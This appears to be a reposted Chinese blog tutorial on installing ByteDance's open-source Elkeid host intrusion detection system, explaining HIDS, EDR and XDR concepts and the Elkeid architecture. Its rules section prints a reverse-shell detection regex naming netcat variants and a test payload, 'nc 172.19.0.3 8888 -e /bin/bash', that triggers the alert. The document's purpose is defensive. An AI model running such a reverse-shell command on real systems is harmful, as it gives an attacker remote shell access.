主機安全-開源HIDS字節跳動Elkeid安裝使用

目錄

  • 概述
    • 什么是HIDS
    • HIDS與NIDS的區別
    • EDR、XDR是啥?
  • Elkeid
    • 架構
    • Elkeid Agent && Agent center
    • Elkeid Driver
    • Elkeid RASP
    • Elkeid HUB
    • Service Discovery
    • Manager
    • 安裝
    • 數據采集
    • 規則&告警
  • 參考


概述

什么是HIDS

HIDS( host-based intrusion detection system,基于主機的入侵檢測系統),通過監測主機上的進程、文件、網絡等信息來識別入侵風險。

HIDS與NIDS的區別

NIDS基于網絡流量來進行入侵檢測,和HIDS相比,實時性更高,對主機沒有性能影響。一般裝在網關等地方獲取鏡像流量即可,無需安裝在每臺主機節點,開源NIDS有Suricata等。

EDR、XDR是啥?

EDR(Endpoint Detection and Response,端點檢測與響應),相較于傳統的HIDS,EDR增加了響應的部分,例如添加SOAR(security orchestration, automation and response,安全編排、自動化與響應系統)、止損手段。
XDR( eXtended Detection and Response ,可擴展檢測與響應),相較于EDR,能夠結合多個數據源(云原生安全、電子郵件安全等)。

Elkeid

架構

在這里插入圖片描述

  • Elkeid Agent:代理,與Manager節點通信,負責上傳日志等信息,管理組件。
  • Elkeid Driver:負責 Linux Kernel 層采集數據,兼容容器,并能夠檢測常見 Rootkit。
  • Elkeid RASP:支持 CPython、Golang、JVM、NodeJS、PHP 的運行時數據采集探針,支持動態注入到運行時。
  • Elkeid HUB:策略引擎。
  • AgentCenter:收集Agent 數據,寫入到消息隊列,給Agent下發指令。
  • ServiceDiscovery:服務發現。
  • 實時計算模塊:消費消息隊列數據,進行分析和檢測。
  • 離線計算模塊:消費消息隊列數據
  • Manager:管理各個模塊。

Elkeid Agent && Agent center

參考關于 Elkeid Agent
Agent具有數據通信、資源監控、組件版本控制、文件傳輸、機器基礎信息采集等功能。

Agent擁有多個Plugins,是Agent的插件,Agent的子進程,可以由多種語言實現。

  • Driver Plugin: 負責與 Elkeid Driver 通信,處理其傳遞的數據等
  • Collector Plugin: 負責端上的資產/關鍵信息采集工作,如用戶,定時任務,包信息等
  • Journal Watcher: 負責監測systemd日志的插件,目前支持ssh相關日志采集與上報
  • Scanner Plugin:負責在端上進行靜態檢測惡意文件的插件,支持
  • Yara RASP Plugin: 分析系統進程運行時,上報運行時信息,處理下發的Attach 指令,收集各個探針上報的數據
  • Baseline Plugin: 負責在端上進行基線風險識別的插件

Agent Center基于gRPC + ProtoBuf通信,具有以下功能

  • 限流:最大鏈接數保護
  • 負載均衡:SD服務發現+Manager動態控制
  • 通信鏈路安全:SSL+HTTPS
  • 上報數據Kafka

Elkeid Driver

參考關于 Elkeid Driver
Elkeid Driver 主要通過 Kprobe Hook Kernel Function 來提供豐富而準確的數據收集功能,包括內核級進程執行探測,特權升級監控,網絡審計等等。,并且支持 Linux Namespace。
主要是Plugins、Hook、Filter、Anti-Rootkit四個功能。

Elkeid RASP

參考Golang-RASP
RASP(Runtime application self-protection,實時應用自我防護),通過探針的方式注入到應用中,在運行時實時防護。

Elkeid HUB

參考:Elkeid HUB
在這里插入圖片描述

  • INPUT 數據輸入層,社區版僅支持Kafka
  • RULEENGINE/RULESET 對數據進行檢測/外部數據聯動/數據處理的核心組件
  • OUTPUT 數據輸出層,社區版僅支持Kafka/ES
  • SMITH_DSL 用來描述數據流轉關系

Service Discovery

服務發現,發現Agent。
負載均衡,

Manager

任務下發,分布式任務分發系統。

安裝

根據Elkeid 完整部署進行部署。
在這里插入圖片描述
在這里插入圖片描述

數據采集

參考:數據接入指南
在這里插入圖片描述

規則&告警

參考:HIDS開源策略列表
以hids_detect的reverse_shell_detect_argv為例,正則如下:

(?:\bnc(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.openbsd(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.traditional(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.linux(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnetcat(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*))

攻擊payload如下:

nc 172.19.0.3 8888 -e /bin/bash

在這里插入圖片描述
告警如下:
在這里插入圖片描述
配置了一個企微機器人,收到消息:
在這里插入圖片描述

參考

HIDS與NIDS的區別
crowdstrike-EDR
paloalto-XDR
五款流行開源的 HIDS 系統簡單介紹
最后的防線:三款開源HIDS應用對比評估
騰訊自研HIDS「洋蔥」后臺上云架構演進實踐

github-ossec
github-yulong-hids-archived
github-Elkeid

wazuh
github-wazuh
開源安全平臺Wazuh的部署與體驗

tripwire

suricate
github-suricata

奇安信-終端安全響應系統(EDR)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/44868.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/44868.shtml
英文地址,請注明出處:http://en.pswp.cn/web/44868.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

使用Gitee倉庫鏡像管理功能實現Gitee與Github 雙向同步

進入你所需要同步的倉庫,點擊「管理」->「鏡像倉庫管理」,點擊「添加鏡像」選項; 如果你的Gitee賬號還沒有綁定過 GitHub 帳號,先根據彈窗的提示綁定 GitHub 帳號; 添加鏡像時候,在「鏡像方向」中選擇…

二次開發源碼 借貸系統uniapp/借貸認證系統/小額信貸系統/工薪貸APP/資金貸系統h5

前端:UNIAPP 后端:ThinkPHP 數據庫: Mysql 前端使用的uniapp 可以打包APP H5 小程序 系統提供了完善的網絡借貸體系,為金融中介平臺提供從獲客到貸后管理全流程服務,解決了借貸手續繁瑣、流程緩慢等問題 此源碼為運營…

ES6操作符使用總結

最近做新項目時候用到了ES6 添加的一些運算符,使用起來很方便,簡化了代碼,增強了代碼容錯性。使用感不錯,下面做了總結,本文也會持續維護。 1. !!props.useDefaultColor 這個技巧的作用是將任何 JavaScript 值轉換為…

管理Linux本地用戶和組

什么是用戶 用戶賬戶在可以運行命令的不同人員和程序之間提供安全界限。 在Linux系統中,系統通過分配唯一的標識號(用戶ID或UID)來區分不同的用戶帳戶。 在Linux系統中,用戶帳戶有以下三種主要類型: 超級用戶 負責…

分布式一致性算法:Raft學習

分布式一致性算法:Raft學習 1 什么是分布式系統? 分布式系統是由一組通過網絡進行通信、為了完成共同的任務而協調工作的計算機節點組成的系統。這些節點可能位于不同的物理位置,但它們協同工作以提供一個統一的計算平臺或服務。分布式系統…

對于復雜的數學模型,怎樣利用 MATLAB 的優化工具箱進行準確的參數估計和模型擬合?

要利用MATLAB的優化工具箱進行準確的參數估計和模型擬合,可以按照以下步驟進行: 定義模型:根據問題的需求和數學模型的形式,定義好模型的數學表達式。 收集數據:收集實際觀測數據,這些數據將用于擬合模型和…

Ubuntu linux安裝新版本go

加速網站:GOPROXY.IO - A Global Proxy for Go Modules 下載地址:All releases - The Go Programming Language Ubuntu jammy版本里面自帶的go版本較低,build ollama的時候報錯,于是升級go 升級操作 從上面下載地址找到自己需…

25秋招面試算法題 (Go版本)

文章目錄 科大訊飛 0713找01不能出現太多 科大訊飛 0713 找01 牛牛擁有一個長度為 n 的01 串,現在他想知道,對于每個字符,在它前面的最近的不同字符的下標是多少? 輸入描述 本題為多組測試數據,第一行輸入一個正整…

代碼隨想錄第五十五天打卡

42. 接雨水 接雨水這道題目是 面試中特別高頻的一道題,也是單調棧 應用的題目,大家好好做做。 建議是掌握 雙指針 和單調棧,因為在面試中 寫出單調棧可能 有點難度,但雙指針思路更直接一些。 在時間緊張的情況有,能寫出…

Unity中一鍵生成具有身體感知的虛擬人物動作

在虛擬現實(VR)和增強現實(AR)的浪潮中,如何讓虛擬人物的動作更加自然、真實,已經成為一個重要課題。AI4Animation項目,一個由 Sebastian Starke 主導的開源框架,為Unity開發者提供了強大的工具集,以實現這一目標。本文…

OrangePi AIpro在安防領域的深思和實戰(曠視科技CNN模型ShuffleNetV1開發案例測試)

一、前言 公司最近有個項目是安防領域的,主要用在邊緣結點,雖然已做成形,但是還是存在一些缺陷,例如:算力問題,開發板的成熟問題,已經各種技術的解決方案落地問題。目前我們集成了很多功能&…

Facebook 開源計算機視覺 (CV) 和 增強現實 (AR) 框架 Ocean

Ocean 是一個獨立于平臺的框架,支持所有主要操作系統,包括 iOS、Android、Quest、macOS、Windows 和 Linux。它旨在徹底改變計算機視覺和混合現實應用程序的開發。 Ocean 主要使用 C 編寫,包括計算機視覺、幾何、媒體處理、網絡和渲染&#x…

python中的pickle模塊和json模塊

目錄 pickle: Python 中的pickle 是一個內置模塊,用于序列化和反序列化 Python 對象結構。序列化是將對象轉換成字節流的過程,這樣對象就可以被存儲到文件中或者通過網絡傳輸。反序列化則是將這些字節流重新轉換成原始對象的過程。 json: json模塊是 …

實現多層感知機

目錄 多層感知機: 介紹: 代碼實現: 運行結果: 問題答疑: 線性變換與非線性變換 參數含義 為什么清除梯度? 反向傳播的作用 為什么更新權重? 多層感知機: 介紹:…

taocms 3.0.1 本地文件泄露漏洞(CVE-2021-44983)

前言 CVE-2021-44983 是一個影響 taoCMS 3.0.1 的遠程代碼執行(RCE)漏洞。該漏洞允許攻擊者通過上傳惡意文件并在服務器上執行任意代碼來利用這一安全缺陷。 漏洞描述 taoCMS 是一個內容管理系統(CMS),用于創建和管…

持續集成的自動化之旅:Gradle在CI中的配置秘籍

持續集成的自動化之旅:Gradle在CI中的配置秘籍 引言 持續集成(Continuous Integration, CI)是現代軟件開發中的一項基礎實踐,它通過自動化的構建和測試流程來提高軟件質量和開發效率。Gradle作為一個靈活的構建工具,…

【眼疾病識別】圖像識別+深度學習技術+人工智能+卷積神經網絡算法+計算機課設+Python+TensorFlow

一、項目介紹 眼疾識別系統,使用Python作為主要編程語言進行開發,基于深度學習等技術使用TensorFlow搭建ResNet50卷積神經網絡算法,通過對眼疾圖片4種數據集進行訓練(‘白內障’, ‘糖尿病性視網膜病變’, ‘青光眼’, ‘正常’&…

jenkins系列-05-jenkins構建golang程序

下載go1.20.2.linux-arm64.tar.gz 并存放到jenkins home目錄: 寫一個golang demo程序:靜態文件服務器:https://gitee.com/jelex/jenkins_golang package mainimport ("encoding/base64""flag""fmt""lo…

window下安裝go環境

一、go官網下載安裝包 官網地址如下:https://golang.google.cn/dl/ 選擇對應系統的安裝包,這里是window系統,可以選擇zip包,下載完解壓就可以使用 二、配置環境變量 這里的截圖配置以win11為例 我的文件解壓目錄是 D:\Software…

力扣32.最長有效括號

力扣32.最長有效括號 class Solution {public:int longestValidParentheses(string s) {int n s.size();int res0;int start -1;vector<int> st;for(int i0;i<n;i){if(s[i] ()st.push_back(i);else{//前面沒有( , (開啟下一段)下一段的開始更新為當前下標if(st.emp…